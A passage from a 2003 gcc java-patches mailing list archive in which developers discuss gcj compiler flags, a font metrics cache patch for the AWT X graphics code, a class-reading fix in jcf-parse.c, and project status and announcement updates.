cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0TIh4w23222; Wed, 29 Jan 2003 18:43:04 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15928.8375.932612.265726@cuddles.cambridge.redhat.com> Date: Wed, 29 Jan 2003 18:43:03 +0000 (GMT) To: tromey@redhat.com Cc: Java Patch List , Gcc Patch List Subject: Re: Patch: gcj and rhug build regression In-Reply-To: <87el6vrems.fsf@fleche.redhat.com> References: <87n0lkr7as.fsf@fleche.redhat.com> <15927.45068.386247.482731@cuddles.cambridge.redhat.com> <87el6vrems.fsf@fleche.redhat.com> Tom Tromey writes: > >>>>> "Andrew" == Andrew Haley writes: > > Andrew> I would have used flag-syntax-only instead of > Andrew> flag_emit_class_files, but I don't suppose it matters. We > Andrew> seem to randomly use one or the other. > > I think the bug would still occur with flag-syntax-only, since in this > case that flag would be 0. I don't think so. $ gcj -C -v Smu.java [ ... ] /local/aph/head/install/lib/gcc-lib/i686-pc-linux-gnu/3.4/jc1 Smu.java -quiet [ ... ] -fsyntax-only -femit-class-files -o /dev/null So flag-syntax-only is probably a better choice than flag_emit_class_files, since it works in both cases. Andrew. From java-patches-return-5973-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 29 18:49:40 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20751 invoked by alias); 29 Jan 2003 18:49:40 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20728 invoked from network); 29 Jan 2003 18:49:39 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 29 Jan 2003 18:49:39 -0000 Received: from fleche.redhat.com (tz0204.peakpeak.com [207.174.69.204]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA24061; Wed, 29 Jan 2003 11:49:37 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 1B66B4F8080; Wed, 29 Jan 2003 11:42:52 -0700 (MST) To: Andrew Haley Cc: Java Patch List , Gcc Patch List Subject: Re: Patch: gcj and rhug build regression References: <87n0lkr7as.fsf@fleche.redhat.com> <15927.45068.386247.482731@cuddles.cambridge.redhat.com> <87el6vrems.fsf@fleche.redhat.com> <15928.8375.932612.265726@cuddles.cambridge.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: .. So, if we convert SUPPLY-SIDE SOYBEAN FUTURES into HIGH-YIELD T-BILL INDICATORS, the PRE-INFLATIONARY risks will DWINDLE to a rate of 2 SHOPPING SPREES per EGGPLANT!! Date: 29 Jan 2003 11:42:51 -0700 In-Reply-To: <15928.8375.932612.265726@cuddles.cambridge.redhat.com> Message-ID: <87u1frpzkk.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Andrew" == Andrew Haley writes: Andrew> So flag-syntax-only is probably a better choice than Andrew> flag_emit_class_files, since it works in both cases. I'm leaving it as-is, since the bug only occurs when generating bytecode. The optimized code will work fine for syntax-only. If you really want me to change it, tell me and I will. Tom From java-patches-return-5974-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 29 18:50:00 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21168 invoked by alias); 29 Jan 2003 18:50:00 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21146 invoked from network); 29 Jan 2003 18:49:59 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 29 Jan 2003 18:49:59 -0000 Received: from fleche.redhat.com (tz0204.peakpeak.com [207.174.69.204]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA24168; Wed, 29 Jan 2003 11:49:57 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 4C1944F8080; Wed, 29 Jan 2003 11:43:12 -0700 (MST) To: Jeff Sturm Cc: java-patches@gcc.gnu.org Subject: Re: Class initialization, take two References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Life is selling REVOLUTIONARY HAIR PRODUCTS! Date: 29 Jan 2003 11:43:12 -0700 In-Reply-To: Message-ID: <87ptqfpzjz.fsf@fleche.redhat.com> Lines: 7 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Jeff" == Jeff Sturm writes: Jeff> If you don't mind I'll commit the patch as-is. Please do, thanks. Tom From java-patches-return-5975-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 29 18:54:21 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28471 invoked by alias); 29 Jan 2003 18:54:21 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28447 invoked from network); 29 Jan 2003 18:54:20 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 29 Jan 2003 18:54:20 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-11.rdu.redhat.com [172.16.50.11]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 107B3ABAF8; Wed, 29 Jan 2003 18:54:18 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0TIsGb19058; Wed, 29 Jan 2003 18:54:16 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15928.9047.743538.181496@cuddles.cambridge.redhat.com> Date: Wed, 29 Jan 2003 18:54:15 +0000 (GMT) To: tromey@redhat.com Cc: Java Patch List , Gcc Patch List Subject: Re: Patch: gcj and rhug build regression In-Reply-To: <87u1frpzkk.fsf@fleche.redhat.com> References: <87n0lkr7as.fsf@fleche.redhat.com> <15927.45068.386247.482731@cuddles.cambridge.redhat.com> <87el6vrems.fsf@fleche.redhat.com> <15928.8375.932612.265726@cuddles.cambridge.redhat.com> <87u1frpzkk.fsf@fleche.redhat.com> Tom Tromey writes: > >>>>> "Andrew" == Andrew Haley writes: > > Andrew> So flag-syntax-only is probably a better choice than > Andrew> flag_emit_class_files, since it works in both cases. > > I'm leaving it as-is, since the bug only occurs when generating bytecode. Okay. I don't mind -- it's purely a matter of efficiency. It's correct either way. I guess it is probably only a few microseconds difference in an unimportant case. Andrew. From java-patches-return-5976-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 29 21:21:01 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9969 invoked by alias); 29 Jan 2003 21:21:01 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9951 invoked from network); 29 Jan 2003 21:21:00 -0000 Received: from unknown (HELO mail.eol.ca) (205.189.151.1) by 172.16.49.205 with SMTP; 29 Jan 2003 21:21:00 -0000 Received: from mantatest.com (static-1M-b1-60.highspeed.eol.ca [64.56.237.60]) by mail.eol.ca (Postfix) with SMTP id 7BD3B442BE for ; Wed, 29 Jan 2003 16:22:40 -0500 (EST) Received: from scott ([192.168.22.60]) by mantatest.com ( IA Mail Server Version: 3.2.4. Build: 1096 ) ) ; Wed, 29 Jan 2003 16:17:56 -0500 Message-ID: <016301c2c7db$e56e46d0$3c16a8c0@mantatest.com> From: "Scott Gilbertson" To: Cc: References: <00a101c2bda1$784e31d0$3c16a8c0@mantatest.com> <87adhkuad1.fsf@fleche.redhat.com> Subject: Re: PATCH: XGraphicsConfiguration implement font metrics cache Date: Wed, 29 Jan 2003 16:17:57 -0500 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0160_01C2C7B1.FC874EE0" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 This is a multi-part message in MIME format. ------=_NextPart_000_0160_01C2C7B1.FC874EE0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit I have revised the font cache patch in the following ways, and I claim it's ready to check in. - one cache per Display, referenced through a Hashtable - when putting the 11th font in any cache, the least-recently-used one is removed - code-wise, the cache is now implemented in an inner class - also modified the font name format, which wasn't letting me load certain fonts To test it, I reduced the LRU threshold to 4 and added a bunch of println statements. I confirmed that fonts were getting cached, found, created and removed as intended. I then removed the printlns and bumped the LRU threshold to 10. Caveats: 1. Nothing gets disposed, so server resources could be tied up for some time after discarding a font from the cache. 2. The LRU assessment is based on an integer counter, which will eventually overflow if you run for a very long time with 10 or fewer fonts, one or more of which were only used at startup, then suddenly use some new fonts. If that happens, I predict that the cache will sometimes discard a few of the wrong fonts. Although I haven't tested this scenario, I'm pretty sure it will be OK, other than a very slight momentary performance hit. 3. There's a lot of hash-tabling, which could be reduced by moving the cache into Display. I opted instead, however, to keep the change nicely contained in XGraphicsConfiguration. 4. If you have more than ten fonts on-screen at once, there might be some unfortunate overhead. I think, however, that even in these cases, performance will be better than it would without a cache. Index: libjava/ChangeLog from Scott Gilbertson * XGraphicsConfiguration.getXFontMetrics: implemented cache to improve performance revised patch is attached. ------=_NextPart_000_0160_01C2C7B1.FC874EE0 Content-Type: application/octet-stream; name="20030129_FontCache.patch" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="20030129_FontCache.patch" diff -r -up gcc.patched/libjava/gnu/awt/xlib/XGraphicsConfiguration.java = gcc/libjava/gnu/awt/xlib/XGraphicsConfiguration.java=0A= --- gcc.patched/libjava/gnu/awt/xlib/XGraphicsConfiguration.java = 2003-01-16 15:40:13.000000000 -0500=0A= +++ gcc/libjava/gnu/awt/xlib/XGraphicsConfiguration.java 2003-01-29 = 15:54:55.000000000 -0500=0A= @@ -14,6 +14,7 @@ import java.awt.Graphics2D;=0A= import java.awt.Graphics;=0A= import java.awt.Point;=0A= import java.awt.Color;=0A= +import java.awt.Font;=0A= import java.awt.color.ColorSpace;=0A= import java.awt.image.*;=0A= import java.awt.geom.AffineTransform;=0A= @@ -27,6 +28,7 @@ import gnu.gcj.xlib.XColor;=0A= import gnu.gcj.xlib.Screen;=0A= import gnu.gcj.xlib.Display;=0A= import gnu.java.awt.Buffers;=0A= +import java.util.Enumeration;=0A= import java.util.Hashtable;=0A= =0A= public class XGraphicsConfiguration extends GraphicsConfiguration=0A= @@ -38,7 +40,100 @@ public class XGraphicsConfiguration exte=0A= Colormap colormap;=0A= ColorModel imageCM;=0A= ColorModel pixelCM;=0A= - static private java.util.Hashtable fontMetricsCache =3D new = java.util.Hashtable();=0A= + private static final int CACHE_SIZE_PER_DISPLAY =3D 10;=0A= + =0A= + /** Font metrics cache. Caches at most CACHE_SIZE_PER_DISPLAY = XFontMetrics=0A= + * objects for each display device. When a display's cache gets = full, the=0A= + * least-recently used entry is overwritten.=0A= + * XXX: lruOrder rolls over after a few billion operations, so it = might=0A= + * on very rare occasions misinterpret which is the oldest entry=0A= + */=0A= + class FontMetricsCache=0A= + {=0A= + /** Font metrics cache for a display device=0A= + */=0A= + class PerDisplayCache=0A= + {=0A= + class CacheEntry=0A= + {=0A= + int lruOrder;=0A= + XFontMetrics fm;=0A= + Font font;=0A= + }=0A= + =0A= + private int lruCount =3D 0;=0A= + private java.util.Hashtable entries =3D new java.util.Hashtable();=0A= + /** Get an entry (null if not there) and update LRU ordering =0A= + */=0A= + XFontMetrics get( Font font )=0A= + {=0A= + CacheEntry entry =3D (CacheEntry)entries.get(font);=0A= + if( entry !=3D null )=0A= + {=0A= + entry.lruOrder =3D lruCount++;=0A= + }=0A= + return (entry=3D=3Dnull) ? null : entry.fm;=0A= + }=0A= + /** Put an entry in the cache, eliminating the oldest entry if=0A= + * the cache is at capacity.=0A= + */=0A= + void put( Font font, XFontMetrics fontMetrics )=0A= + {=0A= + if( entries.size () >=3D CACHE_SIZE_PER_DISPLAY )=0A= + {=0A= + // cache is full -- eliminate the oldest entry=0A= + // slow operation, but shouldn't happen very often=0A= + int maxAge =3D 0;=0A= + CacheEntry oldestEntry =3D null;=0A= + int referenceCount =3D lruCount;=0A= + for( Enumeration e =3D entries.elements (); e.hasMoreElements = (); )=0A= + {=0A= + CacheEntry entry =3D (CacheEntry)e.nextElement ();=0A= + if( (referenceCount-entry.lruOrder) > maxAge )=0A= + {=0A= + maxAge =3D referenceCount-entry.lruOrder;=0A= + oldestEntry =3D entry;=0A= + }=0A= + }=0A= + if( oldestEntry !=3D null )=0A= + entries.remove (oldestEntry.font);=0A= + }=0A= + CacheEntry newEntry =3D new CacheEntry();=0A= + newEntry.lruOrder =3D lruCount++;=0A= + newEntry.fm =3D fontMetrics;=0A= + newEntry.font =3D font;=0A= + entries.put(font,newEntry);=0A= + }=0A= + }=0A= + private java.util.Hashtable displays =3D new java.util.Hashtable();=0A= + =0A= + /** Get the font metrics for a font, if it is present in the cache.=0A= + * @return The font metrics, or null if not cached=0A= + */=0A= + XFontMetrics get( Font font, Display display )=0A= + {=0A= + PerDisplayCache cache =3D (PerDisplayCache)displays.get(display);=0A= + return (cache=3D=3Dnull) ? null : cache.get(font);=0A= + }=0A= + =0A= + /** Put a font in the cache=0A= + * @param font The font=0A= + * @param display The display=0A= + * @param fontMetrics The font metrics=0A= + */=0A= + void put( Font font, Display display, XFontMetrics fontMetrics )=0A= + {=0A= + PerDisplayCache cache =3D (PerDisplayCache)displays.get(display);=0A= + if( cache =3D=3D null )=0A= + {=0A= + cache =3D new PerDisplayCache();=0A= + displays.put(display,cache);=0A= + }=0A= + cache.put(font,fontMetrics);=0A= + }=0A= + }=0A= + =0A= + static FontMetricsCache fontMetricsCache =3D new FontMetricsCache();=0A= =0A= public XGraphicsConfiguration(Visual visual)=0A= {=0A= @@ -327,32 +422,43 @@ public class XGraphicsConfiguration exte=0A= {=0A= // If the metrics object for this font is already cached, use it.=0A= // Otherwise create and cache it.=0A= - XFontMetrics fm =3D (XFontMetrics)fontMetricsCache.get(awtFont);=0A= + Display display =3D visual.getScreen().getDisplay();=0A= + XFontMetrics fm =3D fontMetricsCache.get(awtFont,display);=0A= if( fm =3D=3D null )=0A= {=0A= - Display display =3D visual.getScreen().getDisplay();=0A= - String family =3D "*";=0A= - String name =3D awtFont.getName();=0A= + String foundry =3D "*";=0A= + String family =3D awtFont.getName();=0A= String weight =3D awtFont.isBold() ? "bold" : "medium";=0A= String slant =3D awtFont.isItalic() ? "i" : "r";=0A= - String addStyle =3D "*";=0A= + String sWidth =3D "*";=0A= + String addStyle =3D "";=0A= String pixelSize =3D "*";=0A= String pointSize =3D awtFont.getSize() + "0";=0A= String xres =3D "*";=0A= String yres =3D "*";=0A= String spacing =3D "*";=0A= String averageWidth =3D "*";=0A= - String charset =3D "iso10646-1";=0A= + String charset =3D "iso10646-1"; // because we use functions = like XDrawString16=0A= =0A= - String logicalFontDescription =3D=0A= - family + "-" + name + "-" + weight + "-" +=0A= - slant + "-" + addStyle + "-" + pixelSize + "-" +=0A= - pointSize + "-" + xres + "-" + yres + "-" +=0A= - spacing + "-" + averageWidth + "-" + charset;=0A= -=0A= - gnu.gcj.xlib.Font xfont =3D new gnu.gcj.xlib.Font(display, = logicalFontDescription);=0A= - fm =3D new XFontMetrics(xfont, awtFont);=0A= - fontMetricsCache.put (awtFont,fm);=0A= + String logicalFontDescription =3D =0A= + "-" + // FontNameRegistry prefix=0A= + foundry + "-" + family + "-" + weight + "-" +=0A= + slant + "-" + sWidth + "-" + addStyle + "-" +=0A= + pixelSize + "-" + pointSize + "-" + xres + "-" +=0A= + yres + "-" + spacing + "-" + averageWidth + "-";=0A= + // Try to load a Unicode font. If that doesn't work, try again, = without=0A= + // specifying the character set.=0A= + try=0A= + {=0A= + gnu.gcj.xlib.Font xfont =3D new gnu.gcj.xlib.Font(display, = logicalFontDescription + charset);=0A= + fm =3D new XFontMetrics(xfont, awtFont);=0A= + }=0A= + catch( NullPointerException e )=0A= + {=0A= + gnu.gcj.xlib.Font xfont =3D new gnu.gcj.xlib.Font(display, = logicalFontDescription + "*-*");=0A= + fm =3D new XFontMetrics(xfont, awtFont);=0A= + }=0A= + fontMetricsCache.put (awtFont,display,fm);=0A= }=0A= =0A= return fm;=0A= ------=_NextPart_000_0160_01C2C7B1.FC874EE0-- From java-patches-return-5977-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 30 02:38:32 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 981 invoked by alias); 30 Jan 2003 02:38:32 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 968 invoked from network); 30 Jan 2003 02:38:32 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 30 Jan 2003 02:38:32 -0000 Received: from fleche.redhat.com (tz0204.peakpeak.com [207.174.69.204]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id TAA13973; Wed, 29 Jan 2003 19:38:30 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id B72A74F8080; Wed, 29 Jan 2003 19:30:29 -0700 (MST) To: Java Patch List Cc: Gcc Patch List Subject: Patch: gcj and rhug build failure From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Jesus is my POSTMASTER GENERAL.. Date: 29 Jan 2003 19:30:28 -0700 Message-ID: <87lm13cqt7.fsf@fleche.redhat.com> Lines: 51 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii On x86 Red Hat Linux 7.3, gcj (current 3.3 trunk) fails to compile the current cvs rhug. It dies saying that it is "reading class gnu.gcj.runtime.StringBuffer for the second time" when compiling BinOpExpr.java. What happens is that jcf_parse() changes the value of `current_class' when reading this class for the first time. However, we fail to put the new class value back into the IDENTIFIER_CLASS_VALUE for the class. So, the next time we need this class we try to read it again, leading to the problem. I don't know why this happens with this file and not any others. The appended patch fixes this problem. I've tested this patch the usual way: rebuild libgcj from scratch, run test suite, then rebuilt rhug. There were no regressions. Ok to commit for 3.3 and trunk? Tom Index: ChangeLog from Tom Tromey * jcf-parse.c (read_class): Update identifier's class value if it changed during parsing. Index: jcf-parse.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/jcf-parse.c,v retrieving revision 1.124 diff -u -r1.124 jcf-parse.c --- jcf-parse.c 18 Nov 2002 15:46:33 -0000 1.124 +++ jcf-parse.c 29 Jan 2003 22:15:04 -0000 @@ -1,5 +1,5 @@ /* Parser for Java(TM) .class files. - Copyright (C) 1996, 1998, 1999, 2000, 2001, 2002 + Copyright (C) 1996, 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU CC. @@ -548,6 +548,10 @@ read_zip_member(current_jcf, current_jcf->zipd, current_jcf->zipd->zipf); jcf_parse (current_jcf); + /* Parsing might change the class, in which case we have to + put it back where we found it. */ + if (current_class != class && icv != NULL_TREE) + TREE_TYPE (icv) = current_class; class = current_class; java_pop_parser_context (0); java_parser_context_restore_global (); From java-patches-return-5978-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 30 09:33:22 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7517 invoked by alias); 30 Jan 2003 09:33:22 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7503 invoked from network); 30 Jan 2003 09:33:21 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 30 Jan 2003 09:33:21 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-26.rdu.redhat.com [172.16.50.26]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 97ACDABAF8; Thu, 30 Jan 2003 09:33:18 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0U9XGd01604; Thu, 30 Jan 2003 09:33:16 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15928.61788.635021.175937@cuddles.cambridge.redhat.com> Date: Thu, 30 Jan 2003 09:33:16 +0000 (GMT) To: tromey@redhat.com Cc: Java Patch List , Gcc Patch List Subject: Patch: gcj and rhug build failure In-Reply-To: <87lm13cqt7.fsf@fleche.redhat.com> References: <87lm13cqt7.fsf@fleche.redhat.com> Tom Tromey writes: > > Ok to commit for 3.3 and trunk? Oh yes, that's great. I'm really glad that you found that one; I could never reproduce the problem. Andrew. From java-patches-return-5979-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 30 15:58:10 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 820 invoked by alias); 30 Jan 2003 15:58:10 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 660 invoked from network); 30 Jan 2003 15:58:09 -0000 Received: from unknown (HELO vexpert.dbai.tuwien.ac.at) (128.130.111.12) by 172.16.49.205 with SMTP; 30 Jan 2003 15:58:09 -0000 Received: from [128.130.111.28] (naos [128.130.111.28]) by vexpert.dbai.tuwien.ac.at (8.12.6/8.12.6) with ESMTP id h0UFw7Zc013916; Thu, 30 Jan 2003 16:58:07 +0100 (CET) Date: Thu, 30 Jan 2003 16:58:05 +0100 (CET) From: Gerald Pfeifer To: Andrew Haley cc: Andreas Jaeger , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: Enable interpreter for x86_64 In-Reply-To: <15928.3889.527522.991827@cuddles.cambridge.redhat.com> Message-ID: References: <15928.686.125623.898720@cuddles.cambridge.redhat.com> <15928.3889.527522.991827@cuddles.cambridge.redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 29 Jan 2003, Andrew Haley wrote: > +
> +Andrew Haley of Red Hat completed the work began by Bo Thorsen of SuSE > +to port gcj to the AMD x86-64 > +architecture. This is the first implementation of the Java > +programming language to be made available on that platform. It will > +be part of the GCC 3.3 release. > +
>From the point of work involved it's probably not comparable with the new C++ parser or PCH, but from a publicity point of view, I suppose we should exploit it (and add the announcement). Thanks, Gerald -- Gerald "Jerry" pfeifer@dbai.tuwien.ac.at http://www.pfeifer.com/gerald/ From java-patches-return-5980-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 30 16:45:54 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 18347 invoked by alias); 30 Jan 2003 16:45:53 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 18335 invoked from network); 30 Jan 2003 16:45:52 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 30 Jan 2003 16:45:52 -0000 Received: from fleche.redhat.com (tz0187.peakpeak.com [207.174.69.187]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA19200; Thu, 30 Jan 2003 09:45:38 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 88C784F8080; Thu, 30 Jan 2003 09:37:24 -0700 (MST) To: Gerald Pfeifer Cc: Andrew Haley , Andreas Jaeger , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: Enable interpreter for x86_64 References: <15928.686.125623.898720@cuddles.cambridge.redhat.com> <15928.3889.527522.991827@cuddles.cambridge.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: -- In 1962, you could buy a pair of SHARKSKIN SLACKS, with a ``Continental Belt,'' for $10.99!! Date: 30 Jan 2003 09:37:24 -0700 In-Reply-To: Message-ID: <87u1fqbnln.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Gerald> From the point of work involved it's probably not comparable Gerald> with the new C++ parser or PCH, but from a publicity point of Gerald> view, I suppose we should exploit it (and add the Gerald> announcement). I'm curious to know what sort of Java announcement would make it to the front page. Would any of the announcements in java/index.html qualify? Tom From java-patches-return-5981-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 30 19:18:25 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6072 invoked by alias); 30 Jan 2003 19:18:24 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6060 invoked from network); 30 Jan 2003 19:18:23 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 30 Jan 2003 19:18:23 -0000 Received: from fleche.redhat.com (tz0187.peakpeak.com [207.174.69.187]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA30568; Thu, 30 Jan 2003 12:18:21 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id C69E44F8080; Thu, 30 Jan 2003 12:09:31 -0700 (MST) To: Java Patch List Cc: Gcc Patch List Subject: Patch: FYI: gcj3.3 status From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: .. My pants just went on a wild rampage through a Long Island Bowling Alley!! Date: 30 Jan 2003 12:09:31 -0700 Message-ID: <87ptqe8nf8.fsf@fleche.redhat.com> Lines: 50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in. This updates the gcj3.3 status page to reflect current reality. Tom Index: ChangeLog from Tom Tromey * gcj-3.3-status.html: Updated status for rhug, x86, Jacks. Index: gcj-3.3-status.html =================================================================== RCS file: /cvs/gcc/wwwdocs/htdocs/java/gcj-3.3-status.html,v retrieving revision 1.7 diff -u -r1.7 gcj-3.3-status.html --- gcj-3.3-status.html 14 Jan 2003 05:16:18 -0000 1.7 +++ gcj-3.3-status.html 30 Jan 2003 19:17:39 -0000 @@ -27,8 +27,8 @@ Use bgcolor="#eeaaaa" for problems --> - i686-pc-linux-gnu -   + i686-pc-linux-gnu + Ok Tom Tromey @@ -130,8 +130,8 @@   - rhug - Problems build all archs; not gcj bug (as far as we know) + rhug + ok on x86   @@ -140,8 +140,8 @@   - Jacks -   + Jacks + As good as we're going to be   From java-patches-return-5982-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 30 22:27:27 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 18588 invoked by alias); 30 Jan 2003 22:27:27 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 18524 invoked from network); 30 Jan 2003 22:27:26 -0000 Received: from unknown (HELO vexpert.dbai.tuwien.ac.at) (128.130.111.12) by 172.16.49.205 with SMTP; 30 Jan 2003 22:27:26 -0000 Received: from [128.130.111.39] (acrux [128.130.111.39]) by vexpert.dbai.tuwien.ac.at (8.12.6/8.12.6) with ESMTP id h0UMRMZc026648; Thu, 30 Jan 2003 23:27:25 +0100 (CET) Date: Thu, 30 Jan 2003 23:27:28 +0100 (CET) From: Gerald Pfeifer To: Tom Tromey cc: Andrew Haley , Andreas Jaeger , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: Enable interpreter for x86_64 In-Reply-To: <87u1fqbnln.fsf@fleche.redhat.com> Message-ID: References: <15928.686.125623.898720@cuddles.cambridge.redhat.com> <15928.3889.527522.991827@cuddles.cambridge.redhat.com> <87u1fqbnln.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 30 Jan 2003, Tom Tromey wrote: >> From the point of work involved it's probably not comparable with the >> new C++ parser or PCH, but from a publicity point of view, I suppose we >> should exploit it (and add the announcement). ^^ >> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > I'm curious to know what sort of Java announcement would make it to > the front page. Actually, my statement above was ment to indicate approvement. ;-) Sorry if that was not clear! > Would any of the announcements in java/index.html qualify? Apart from the one above, you mean? ;-) What I'd really like to see is us to list many more news items on our main page (which means a significant amount of the ones in java/inex.html). The only missing ingredient here is that I believe we should somehow distinguish between absolutely major news items (such as releases, significant technical 